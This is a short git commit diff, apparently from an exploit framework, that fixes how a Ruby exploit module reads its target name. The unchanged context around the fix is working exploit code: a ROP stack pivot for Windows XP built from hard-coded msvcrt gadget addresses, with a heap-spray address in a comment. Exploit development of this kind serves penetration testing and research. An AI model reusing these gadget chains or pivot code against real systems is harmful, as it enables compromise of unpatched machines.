using the rop as expected

bug/bundler_fix
jvazquez-r7 2012-12-30 16:13:48 +01:00
parent eed5a74f32
commit 14f21c0a29
1 changed files with 1 additions and 1 deletions

View File

@ -152,7 +152,7 @@ Stack Pivoting to eax:
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
if t['Name'] =~ /Windows XP/
if t.name =~ /Windows XP/
stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c